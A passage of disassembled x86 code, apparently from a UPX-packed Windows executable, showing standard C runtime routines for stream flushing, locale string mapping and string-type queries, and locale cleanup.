		mov	[esi+0Ch], eax
		jmp	short loc_414AC9
; ---------------------------------------------------------------------------


loc_414AC2:				; CODE XREF: sub_414A71+40j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_414AC9:				; CODE XREF: sub_414A71+2Aj
					; sub_414A71+47j ...
		pop	edi


loc_414ACA:				; CODE XREF: sub_414A71+17j
					; sub_414A71+1Ej
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	esi
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn
sub_414A71	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414AD9	proc near		; CODE XREF: sub_414B21+69p
					; sub_414B21+84p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jnz	short loc_414AEF
		push	esi
		call	sub_414B21
		pop	ecx
		jmp	short loc_414B1E
; ---------------------------------------------------------------------------


loc_414AEF:				; CODE XREF: sub_414AD9+Bj
		push	esi
		call	sub_414A71
		pop	ecx
		test	eax, eax
		jz	short loc_414AFF
		or	eax, 0FFFFFFFFh
		jmp	short loc_414B1E
; ---------------------------------------------------------------------------


loc_414AFF:				; CODE XREF: sub_414AD9+1Fj
		test	dword ptr [esi+0Ch], 4000h
		jz	short loc_414B1C
		push	esi
		call	sub_411ACB
		push	eax
		call	sub_415E0C
		pop	ecx
		neg	eax
		pop	ecx
		sbb	eax, eax
		jmp	short loc_414B1E
; ---------------------------------------------------------------------------


loc_414B1C:				; CODE XREF: sub_414AD9+2Dj
		xor	eax, eax


loc_414B1E:				; CODE XREF: sub_414AD9+14j
					; sub_414AD9+24j ...
		pop	esi
		pop	ebp
		retn
sub_414AD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414B21	proc near		; CODE XREF: sub_414AD9+Ep
					; sub_414BFB+2p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00414BD4 SIZE 0000001E BYTES

		push	14h
		push	offset dword_426CD0
		call	__SEH_prolog4
		xor	edi, edi
		mov	[ebp+var_1C], edi
		mov	[ebp+var_24], edi
		push	1
		call	sub_40CFA9
		pop	ecx
		mov	[ebp+ms_exc.disabled], edi
		xor	esi, esi


loc_414B42:				; CODE XREF: sub_414B21+9Bj
		mov	[ebp+var_20], esi
		cmp	esi, dword_430140
		jge	loc_414BD4
		mov	eax, dword_42F138
		lea	eax, [eax+esi*4]
		cmp	[eax], edi
		jz	short loc_414BBB
		mov	eax, [eax]
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_414BBB
		push	eax
		push	esi
		call	sub_411A2E
		pop	ecx
		pop	ecx
		xor	edx, edx
		inc	edx
		mov	[ebp+ms_exc.disabled], edx
		mov	eax, dword_42F138
		mov	eax, [eax+esi*4]
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_414BB3
		cmp	[ebp+arg_0], edx
		jnz	short loc_414B9A
		push	eax
		call	sub_414AD9
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414BB3
		inc	[ebp+var_1C]
		jmp	short loc_414BB3
; ---------------------------------------------------------------------------


loc_414B9A:				; CODE XREF: sub_414B21+66j
		cmp	[ebp+arg_0], edi
		jnz	short loc_414BB3
		test	cl, 2
		jz	short loc_414BB3
		push	eax
		call	sub_414AD9
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414BB3
		or	[ebp+var_24], eax


loc_414BB3:				; CODE XREF: sub_414B21+61j
					; sub_414B21+72j ...
		mov	[ebp+ms_exc.disabled], edi
		call	sub_414BC3


loc_414BBB:				; CODE XREF: sub_414B21+3Aj
					; sub_414B21+42j
		inc	esi
		jmp	short loc_414B42
sub_414B21	endp


; =============== S U B	R O U T	I N E =======================================



sub_414BBE	proc near		; DATA XREF: UPX0:00426CF4o
		xor	edi, edi
		mov	esi, [ebp-20h]
sub_414BBE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414BC3	proc near		; CODE XREF: sub_414B21+95p
		mov	eax, dword_42F138
		push	dword ptr [eax+esi*4]
		push	esi
		call	sub_411A9C
		pop	ecx
		pop	ecx
		retn
sub_414BC3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_414B21


loc_414BD4:				; CODE XREF: sub_414B21+2Aj
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_414BF2
		cmp	[ebp+arg_0], 1
		mov	eax, [ebp+var_1C]
		jz	short loc_414BEC
		mov	eax, [ebp+var_24]


loc_414BEC:				; CODE XREF: sub_414B21+C6j
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_414B21

; =============== S U B	R O U T	I N E =======================================



sub_414BF2	proc near		; CODE XREF: sub_414B21+BAp
					; DATA XREF: UPX0:00426CE8o
		push	1
		call	sub_40CECF
		pop	ecx
		retn
sub_414BF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_414BFB	proc near		; CODE XREF: sub_4119CDp
		push	1
		call	sub_414B21
		pop	ecx
		retn
sub_414BFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414C04	proc near		; CODE XREF: sub_414FA9+2Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	esi, ecx
		cmp	dword_42EDBC, ebx
		jnz	short loc_414C5D
		push	ebx
		push	ebx
		xor	edi, edi
		inc	edi
		push	edi
		push	offset dword_41E554
		push	100h
		push	ebx
		call	dword_41D220	; LCMapStringW
		test	eax, eax
		jz	short loc_414C48
		mov	dword_42EDBC, edi
		jmp	short loc_414C5D
; ---------------------------------------------------------------------------


loc_414C48:				; CODE XREF: sub_414C04+3Aj
		call	dword_41D1D8	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_414C5D
		mov	dword_42EDBC, 2


loc_414C5D:				; CODE XREF: sub_414C04+1Fj
					; sub_414C04+42j ...
		cmp	[ebp+arg_C], ebx
		jle	short loc_414C84
		mov	ecx, [ebp+arg_C]
		mov	eax, [ebp+arg_8]


loc_414C68:				; CODE XREF: sub_414C04+6Cj
		dec	ecx
		cmp	[eax], bl
		jz	short loc_414C75
		inc	eax
		cmp	ecx, ebx
		jnz	short loc_414C68
		or	ecx, 0FFFFFFFFh


loc_414C75:				; CODE XREF: sub_414C04+67j
		mov	eax, [ebp+arg_C]
		sub	eax, ecx
		dec	eax
		cmp	eax, [ebp+arg_C]
		jge	short loc_414C81
		inc	eax


loc_414C81:				; CODE XREF: sub_414C04+7Aj
		mov	[ebp+arg_C], eax


loc_414C84:				; CODE XREF: sub_414C04+5Cj
		mov	eax, dword_42EDBC
		cmp	eax, 2
		jz	loc_414E3E
		cmp	eax, ebx
		jz	loc_414E3E
		cmp	eax, 1
		jnz	loc_414E6F
		mov	[ebp+var_8], ebx
		cmp	[ebp+arg_18], ebx
		jnz	short loc_414CB3
		mov	eax, [esi]
		mov	eax, [eax+4]
		mov	[ebp+arg_18], eax


loc_414CB3:				; CODE XREF: sub_414C04+A5j
		mov	esi, dword_41D1F4
		xor	eax, eax
		cmp	[ebp+arg_1C], ebx
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		setnz	al
		push	[ebp+arg_8]
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_18]
		call	esi ; dword_41D1F4
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_414E6F
		jle	short loc_414D25
		push	0FFFFFFE0h
		xor	edx, edx
		pop	eax
		div	edi
		cmp	eax, 2
		jb	short loc_414D25
		lea	eax, [edi+edi+8]
		cmp	eax, 400h
		ja	short loc_414D0C
		call	sub_4160F0
		mov	eax, esp
		cmp	eax, ebx
		jz	short loc_414D20
		mov	dword ptr [eax], 0CCCCh
		jmp	short loc_414D1D
; ---------------------------------------------------------------------------


loc_414D0C:				; CODE XREF: sub_414C04+F3j
		push	eax
		call	sub_40AEA5
		pop	ecx
		cmp	eax, ebx
		jz	short loc_414D20
		mov	dword ptr [eax], 0DDDDh


loc_414D1D:				; CODE XREF: sub_414C04+106j
		add	eax, 8


loc_414D20:				; CODE XREF: sub_414C04+FEj
					; sub_414C04+111j
		mov	[ebp+var_C], eax
		jmp	short loc_414D28
; ---------------------------------------------------------------------------


loc_414D25:				; CODE XREF: sub_414C04+DCj
					; sub_414C04+E8j
		mov	[ebp+var_C], ebx


loc_414D28:				; CODE XREF: sub_414C04+11Fj
		cmp	[ebp+var_C], ebx
		jz	loc_414E6F
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	esi ; dword_41D1F4
		test	eax, eax
		jz	loc_414E2D
		mov	esi, dword_41D220
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi ; dword_41D220
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		cmp	ecx, ebx
		jz	loc_414E2D
		test	[ebp+arg_4], 400h
		jz	short loc_414D9D
		cmp	[ebp+arg_14], ebx
		jz	loc_414E2D
		cmp	ecx, [ebp+arg_14]
		jg	loc_414E2D
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi ; dword_41D220
		jmp	loc_414E2D
; ---------------------------------------------------------------------------


loc_414D9D:				; CODE XREF: sub_414C04+16Ej
		cmp	ecx, ebx
		jle	short loc_414DE6
		push	0FFFFFFE0h
		xor	edx, edx
		pop	eax
		div	ecx
		cmp	eax, 2
		jb	short loc_414DE6
		lea	eax, [ecx+ecx+8]
		cmp	eax, 400h
		ja	short loc_414DCE
		call	sub_4160F0
		mov	esi, esp
		cmp	esi, ebx
		jz	short loc_414E2D
		mov	dword ptr [esi], 0CCCCh
		add	esi, 8
		jmp	short loc_414DE8
; ---------------------------------------------------------------------------


loc_414DCE:				; CODE XREF: sub_414C04+1B2j
		push	eax
		call	sub_40AEA5
		pop	ecx
		cmp	eax, ebx
		jz	short loc_414DE2
		mov	dword ptr [eax], 0DDDDh
		add	eax, 8


loc_414DE2:				; CODE XREF: sub_414C04+1D3j
		mov	esi, eax
		jmp	short loc_414DE8
; ---------------------------------------------------------------------------


loc_414DE6:				; CODE XREF: sub_414C04+19Bj
					; sub_414C04+1A7j
		xor	esi, esi


loc_414DE8:				; CODE XREF: sub_414C04+1C8j
					; sub_414C04+1E0j
		cmp	esi, ebx
		jz	short loc_414E2D
		push	[ebp+var_8]
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41D220	; LCMapStringW
		test	eax, eax
		jz	short loc_414E26
		push	ebx
		push	ebx
		cmp	[ebp+arg_14], ebx
		jnz	short loc_414E0F
		push	ebx
		push	ebx
		jmp	short loc_414E15
; ---------------------------------------------------------------------------


loc_414E0F:				; CODE XREF: sub_414C04+205j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_414E15:				; CODE XREF: sub_414C04+209j
		push	[ebp+var_8]
		push	esi
		push	ebx
		push	[ebp+arg_18]
		call	dword_41D07C	; WideCharToMultiByte
		mov	[ebp+var_8], eax


loc_414E26:				; CODE XREF: sub_414C04+1FEj
		push	esi
		call	sub_401000
		pop	ecx


loc_414E2D:				; CODE XREF: sub_414C04+140j
					; sub_414C04+161j ...
		push	[ebp+var_C]
		call	sub_401000
		mov	eax, [ebp+var_8]
		pop	ecx
		jmp	loc_414F97
; ---------------------------------------------------------------------------


loc_414E3E:				; CODE XREF: sub_414C04+88j
					; sub_414C04+90j
		mov	[ebp+var_C], ebx
		mov	[ebp+var_10], ebx
		cmp	[ebp+arg_0], ebx
		jnz	short loc_414E51
		mov	eax, [esi]
		mov	eax, [eax+14h]
		mov	[ebp+arg_0], eax


loc_414E51:				; CODE XREF: sub_414C04+243j
		cmp	[ebp+arg_18], ebx
		jnz	short loc_414E5E
		mov	eax, [esi]
		mov	eax, [eax+4]
		mov	[ebp+arg_18], eax


loc_414E5E:				; CODE XREF: sub_414C04+250j
		push	[ebp+arg_0]
		call	sub_415EED
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_414E76


loc_414E6F:				; CODE XREF: sub_414C04+99j
					; sub_414C04+D6j ...
		xor	eax, eax
		jmp	loc_414F97
; ---------------------------------------------------------------------------


loc_414E76:				; CODE XREF: sub_414C04+269j
		cmp	eax, [ebp+arg_18]
		jz	loc_414F5A
		push	ebx
		push	ebx
		lea	ecx, [ebp+arg_C]
		push	ecx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_18]
		call	sub_415F36
		add	esp, 18h
		mov	[ebp+var_C], eax
		cmp	eax, ebx
		jz	short loc_414E6F
		mov	esi, dword_41D10C
		push	ebx
		push	ebx
		push	[ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi ; dword_41D10C
		mov	[ebp+var_8], eax
		cmp	eax, ebx
		jnz	short loc_414EBD


loc_414EB6:				; CODE XREF: sub_414C04+2D3j
					; sub_414C04+2FCj
		xor	esi, esi
		jmp	loc_414F74
; ---------------------------------------------------------------------------


loc_414EBD:				; CODE XREF: sub_414C04+2B0j
		jle	short loc_414EFC
		cmp	eax, 0FFFFFFE0h
		ja	short loc_414EFC
		add	eax, 8
		cmp	eax, 400h
		ja	short loc_414EE4
		call	sub_4160F0
		mov	edi, esp
		cmp	edi, ebx
		jz	short loc_414EB6
		mov	dword ptr [edi], 0CCCCh
		add	edi, 8
		jmp	short loc_414EFE
; ---------------------------------------------------------------------------


loc_414EE4:				; CODE XREF: sub_414C04+2C8j
		push	eax
		call	sub_40AEA5
		pop	ecx
		cmp	eax, ebx
		jz	short loc_414EF8
		mov	dword ptr [eax], 0DDDDh
		add	eax, 8


loc_414EF8:				; CODE XREF: sub_414C04+2E9j
		mov	edi, eax
		jmp	short loc_414EFE
; ---------------------------------------------------------------------------


loc_414EFC:				; CODE XREF: sub_414C04:loc_414EBDj
					; sub_414C04+2BEj
		xor	edi, edi


loc_414EFE:				; CODE XREF: sub_414C04+2DEj
					; sub_414C04+2F6j
		cmp	edi, ebx
		jz	short loc_414EB6
		push	[ebp+var_8]
		push	ebx
		push	edi
		call	sub_40BD40
		add	esp, 0Ch
		push	[ebp+var_8]
		push	edi
		push	[ebp+arg_C]
		push	[ebp+var_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	esi ; dword_41D10C
		mov	[ebp+var_8], eax
		cmp	eax, ebx
		jnz	short loc_414F2C
		xor	esi, esi
		jmp	short loc_414F51
; ---------------------------------------------------------------------------


loc_414F2C:				; CODE XREF: sub_414C04+322j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	[ebp+arg_10]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+var_14]
		call	sub_415F36
		mov	esi, eax
		mov	[ebp+var_10], esi
		add	esp, 18h
		neg	esi
		sbb	esi, esi
		and	esi, [ebp+var_8]


loc_414F51:				; CODE XREF: sub_414C04+326j
		push	edi
		call	sub_401000
		pop	ecx
		jmp	short loc_414F74
; ---------------------------------------------------------------------------


loc_414F5A:				; CODE XREF: sub_414C04+275j
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41D10C	; LCMapStringA
		mov	esi, eax


loc_414F74:				; CODE XREF: sub_414C04+2B4j
					; sub_414C04+354j
		cmp	[ebp+var_C], ebx
		jz	short loc_414F82
		push	[ebp+var_C]
		call	sub_40ADC8
		pop	ecx


loc_414F82:				; CODE XREF: sub_414C04+373j
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_414F95
		cmp	[ebp+arg_10], eax
		jz	short loc_414F95
		push	eax
		call	sub_40ADC8
		pop	ecx


loc_414F95:				; CODE XREF: sub_414C04+383j
					; sub_414C04+388j
		mov	eax, esi


loc_414F97:				; CODE XREF: sub_414C04+235j
					; sub_414C04+26Dj
		lea	esp, [ebp-20h]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_40AC1C
		leave
		retn
sub_414C04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414FA9	proc near		; CODE XREF: sub_411B90+BCp
					; sub_411B90+E1p ...

var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_10]
		call	sub_40C799
		push	[ebp+arg_20]
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_414C04
		add	esp, 20h
		cmp	[ebp+var_4], 0
		jz	short locret_414FEC
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_414FEC:				; CODE XREF: sub_414FA9+3Aj
		leave
		retn
sub_414FA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414FEE	proc near		; CODE XREF: sub_4151A8+2Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, dword_42EDC0
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, ecx
		cmp	eax, ebx
		jnz	short loc_415049
		lea	eax, [ebp+var_8]
		push	eax
		xor	esi, esi
		inc	esi
		push	esi
		push	offset dword_41E554
		push	esi
		call	dword_41D100	; GetStringTypeW
		test	eax, eax
		jz	short loc_41502F
		mov	dword_42EDC0, esi
		jmp	short loc_415063
; ---------------------------------------------------------------------------


loc_41502F:				; CODE XREF: sub_414FEE+37j
		call	dword_41D1D8	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_415044
		push	2
		pop	eax
		mov	dword_42EDC0, eax
		jmp	short loc_415049
; ---------------------------------------------------------------------------


loc_415044:				; CODE XREF: sub_414FEE+4Aj
		mov	eax, dword_42EDC0


loc_415049:				; CODE XREF: sub_414FEE+1Fj
					; sub_414FEE+54j
		cmp	eax, 2
		jz	loc_415121
		cmp	eax, ebx
		jz	loc_415121
		cmp	eax, 1
		jnz	loc_41514B


loc_415063:				; CODE XREF: sub_414FEE+3Fj
		mov	[ebp+var_8], ebx
		cmp	[ebp+arg_10], ebx
		jnz	short loc_415073
		mov	eax, [edi]
		mov	eax, [eax+4]
		mov	[ebp+arg_10], eax


loc_415073:				; CODE XREF: sub_414FEE+7Bj
		mov	esi, dword_41D1F4
		xor	eax, eax
		cmp	[ebp+arg_18], ebx
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		setnz	al
		push	[ebp+arg_4]
		lea	eax, ds:1[eax*8]
		push	eax
		push	[ebp+arg_10]
		call	esi ; dword_41D1F4
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41514B
		jle	short loc_4150DE
		cmp	edi, 7FFFFFF0h
		ja	short loc_4150DE
		lea	eax, [edi+edi+8]
		cmp	eax, 400h
		ja	short loc_4150C8
		call	sub_4160F0
		mov	eax, esp
		cmp	eax, ebx
		jz	short loc_4150DC
		mov	dword ptr [eax], 0CCCCh
		jmp	short loc_4150D9
; ---------------------------------------------------------------------------


loc_4150C8:				; CODE XREF: sub_414FEE+C5j
		push	eax
		call	sub_40AEA5
		pop	ecx
		cmp	eax, ebx
		jz	short loc_4150DC
		mov	dword ptr [eax], 0DDDDh


loc_4150D9:				; CODE XREF: sub_414FEE+D8j
		add	eax, 8


loc_4150DC:				; CODE XREF: sub_414FEE+D0j
					; sub_414FEE+E3j
		mov	ebx, eax


loc_4150DE:				; CODE XREF: sub_414FEE+B2j
					; sub_414FEE+BAj
		test	ebx, ebx
		jz	short loc_41514B
		lea	eax, [edi+edi]
		push	eax
		push	0
		push	ebx
		call	sub_40BD40
		add	esp, 0Ch
		push	edi
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	esi ; dword_41D1F4
		test	eax, eax
		jz	short loc_415115
		push	[ebp+arg_C]
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	dword_41D100	; GetStringTypeW
		mov	[ebp+var_8], eax


loc_415115:				; CODE XREF: sub_414FEE+114j
		push	ebx
		call	sub_401000
		mov	eax, [ebp+var_8]
		pop	ecx
		jmp	short loc_415196
; ---------------------------------------------------------------------------


loc_415121:				; CODE XREF: sub_414FEE+5Ej
					; sub_414FEE+66j
		xor	esi, esi
		cmp	[ebp+arg_14], ebx
		jnz	short loc_415130
		mov	eax, [edi]
		mov	eax, [eax+14h]
		mov	[ebp+arg_14], eax


loc_415130:				; CODE XREF: sub_414FEE+138j
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41513D
		mov	eax, [edi]
		mov	eax, [eax+4]
		mov	[ebp+arg_10], eax


loc_41513D:				; CODE XREF: sub_414FEE+145j
		push	[ebp+arg_14]
		call	sub_415EED
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41514F


loc_41514B:				; CODE XREF: sub_414FEE+6Fj
					; sub_414FEE+ACj ...
		xor	eax, eax
		jmp	short loc_415196
; ---------------------------------------------------------------------------


loc_41514F:				; CODE XREF: sub_414FEE+15Bj
		cmp	eax, [ebp+arg_10]
		jz	short loc_415172
		push	ebx
		push	ebx
		lea	ecx, [ebp+arg_8]
		push	ecx
		push	[ebp+arg_4]
		push	eax
		push	[ebp+arg_10]
		call	sub_415F36
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jz	short loc_41514B
		mov	[ebp+arg_4], esi


loc_415172:				; CODE XREF: sub_414FEE+164j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	[ebp+arg_14]
		call	dword_41D104	; GetStringTypeA
		mov	edi, eax
		cmp	esi, ebx
		jz	short loc_415194
		push	esi
		call	sub_40ADC8
		pop	ecx


loc_415194:				; CODE XREF: sub_414FEE+19Dj
		mov	eax, edi


loc_415196:				; CODE XREF: sub_414FEE+131j
					; sub_414FEE+15Fj
		lea	esp, [ebp-14h]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_40AC1C
		leave
		retn
sub_414FEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151A8	proc near		; CODE XREF: sub_411B90+9Cp
					; sub_41449B+85p

var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	[ebp+arg_0]
		lea	ecx, [ebp+var_10]
		call	sub_40C799
		push	[ebp+arg_1C]
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_414FEE
		add	esp, 1Ch
		cmp	[ebp+var_4], 0
		jz	short locret_4151E8
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

locret_4151E8:				; CODE XREF: sub_4151A8+37j
		leave
		retn
sub_4151A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151EA	proc near		; CODE XREF: sub_4121E0+ECp

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	loc_41537C
		push	dword ptr [esi+4]
		call	sub_40ADC8
		push	dword ptr [esi+8]
		call	sub_40ADC8
		push	dword ptr [esi+0Ch]
		call	sub_40ADC8
		push	dword ptr [esi+10h]
		call	sub_40ADC8
		push	dword ptr [esi+14h]
		call	sub_40ADC8
		push	dword ptr [esi+18h]
		call	sub_40ADC8
		push	dword ptr [esi]
		call	sub_40ADC8
		push	dword ptr [esi+20h]
		call	sub_40ADC8
		push	dword ptr [esi+24h]
		call	sub_40ADC8
		push	dword ptr [esi+28h]
		call	sub_40ADC8
		push	dword ptr [esi+2Ch]
		call	sub_40ADC8
		push	dword ptr [esi+30h]
		call	sub_40ADC8
		push	dword ptr [esi+34h]
		call	sub_40ADC8
		push	dword ptr [esi+1Ch]
		call	sub_40ADC8
		push	dword ptr [esi+38h]
		call	sub_40ADC8
		push	dword ptr [esi+3Ch]
		call	sub_40ADC8
		add	esp, 40h
		push	dword ptr [esi+40h]
		call	sub_40ADC8
		push	dword ptr [esi+44h]
		call	sub_40ADC8
		push	dword ptr [esi+48h]
		call	sub_40ADC8
		push	dword ptr [esi+4Ch]
		call	sub_40ADC8
		push	dword ptr [esi+50h]
		call	sub_40ADC8
		push	dword ptr [esi+54h]
		call	sub_40ADC8
		push	dword ptr [esi+58h]
		call	sub_40ADC8
		push	dword ptr [esi+5Ch]
		call	sub_40ADC8
		push	dword ptr [esi+60h]
		call	sub_40ADC8
		push	dword ptr [esi+64h]
		call	sub_40ADC8
		push	dword ptr [esi+68h]
		call	sub_40ADC8
		push	dword ptr [esi+6Ch]
		call	sub_40ADC8
		push	dword ptr [esi+70h]
		call	sub_40ADC8
		push	dword ptr [esi+74h]
		call	sub_40ADC8
		push	dword ptr [esi+78h]
		call	sub_40ADC8
		push	dword ptr [esi+7Ch]
		call	sub_40ADC8
		add	esp, 40h
		push	dword ptr [esi+80h]
		call	sub_40ADC8
		push	dword ptr [esi+84h]
		call	sub_40ADC8
		push	dword ptr [esi+88h]
		call	sub_40ADC8
		push	dword ptr [esi+8Ch]
		call	sub_40ADC8
		push	dword ptr [esi+90h]
		call	sub_40ADC8
		push	dword ptr [esi+94h]
		call	sub_40ADC8
		push	dword ptr [esi+98h]
		call	sub_40ADC8
		push	dword ptr [esi+9Ch]
		call	sub_40ADC8
		push	dword ptr [esi+0A0h]
		call	sub_40ADC8
		push	dword ptr [esi+0A4h]
		call	sub_40ADC8
		push	dword ptr [esi+0A8h]
		call	sub_40ADC8
		add	esp, 2Ch


loc_41537C:				; CODE XREF: sub_4151EA+Bj
		pop	esi
		pop	ebp
		retn
sub_4151EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41537F	proc near		; CODE XREF: sub_4121E0+67p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_4153C1
		mov	eax, [esi]
		cmp	eax, off_42AE00
		jz	short loc_41539D
		push	eax
		call	sub_40ADC8
		pop	ecx


loc_41539D:				; CODE XREF: sub_41537F+15j
		mov	eax, [esi+4]
		cmp	eax, off_42AE04
		jz	short loc_4153AF
		push	eax
		call	sub_40ADC8
		pop	ecx


loc_4153AF:				; CODE XREF: sub_41537F+27j
		mov	esi, [esi+8]
		cmp	esi, off_42AE08
		jz	short loc_4153C1
		push	esi
		call	sub_40ADC8
		pop	ecx


loc_4153C1:				; CODE XREF: sub_41537F+Bj
					; sub_41537F+39j
		pop	esi
		pop	ebp
		retn
sub_41537F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4153C4	proc near		; CODE XREF: sub_4121E0+46p

arg_0		= dword	ptr  8

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41544F
		mov	eax, [esi+0Ch]
		cmp	eax, off_42AE0C
		jz	short loc_4153E3
		push	eax
		call	sub_40ADC8
		pop	ecx


loc_4153E3:				; CODE XREF: sub_4153C4+16j
		mov	eax, [esi+10h]
		cmp	eax, off_42AE10
		jz	short loc_4153F5
		push	eax
		call	sub_40ADC8
		pop	ecx


